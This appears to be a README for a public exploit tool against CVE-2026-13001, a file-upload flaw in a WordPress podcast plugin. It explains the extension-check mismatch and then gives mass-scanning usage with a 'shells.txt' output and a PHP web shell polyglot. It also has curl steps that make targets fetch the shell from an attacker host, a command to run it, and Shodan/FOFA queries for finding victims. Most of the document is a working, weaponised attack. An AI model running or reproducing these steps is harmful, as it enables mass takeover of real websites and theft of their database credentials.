
Podlove Podcast Publisher Unauthenticated File Upload RCE via is_image() vs extract_file_extension() Mismatch | CVSS 9.8
CVE-2026-13001 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Podlove Podcast Publisher WordPress plugin versions ≤ 4.5.1.
The vulnerability exploits a mismatch between two internal functions that parse file extensions differently:
is_image() uses basename() which includes query strings → URL shell.php?.gif appears as .gif ✅ (valid image)extract_file_extension() uses parse_url() path only → returns .php → file saved with .php extension 🚨Attackers upload GIF89a PHP polyglots (valid GIF header + embedded PHP) that pass image validation but execute as PHP when accessed.
| Version | Status |
|---|---|
| ≤ 4.5.1 | Vulnerable |
| 4.5.2+ | Patched |
Discovered by: Talal Nasraddeen via Wordfence (July 14, 2026)
// is_image() — uses basename() which includes query string
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php
1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# Single target
python cve_2026_13001.py -t target.com
# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt
# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--payload-url URL hosting the PHP polyglot (default: GitHub raw)
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : YES v4.5.1
Upload : YES
RCE : YES
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
Step 1 — Host a polyglot shell
// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>
Step 2 — Hex-encode the URL with bypass
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
Step 3 — Trigger the cache download
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
Step 4 — Access the shell
# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
Successful exploitation yields remote code execution as the web server user:
wp-config.php → database credentialsFOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
The authors assume no liability for misuse.
Not affiliated with Podlove.
| Resource | Link |
|---|
| Wordfence Advisory | wordfence.com |
| Podlove Security Release | podlove.org |
| NVD Entry | CVE-2026-13001 |
| PoC by Raimu0x19 | GitHub |
| Researcher | Talal Nasraddeen |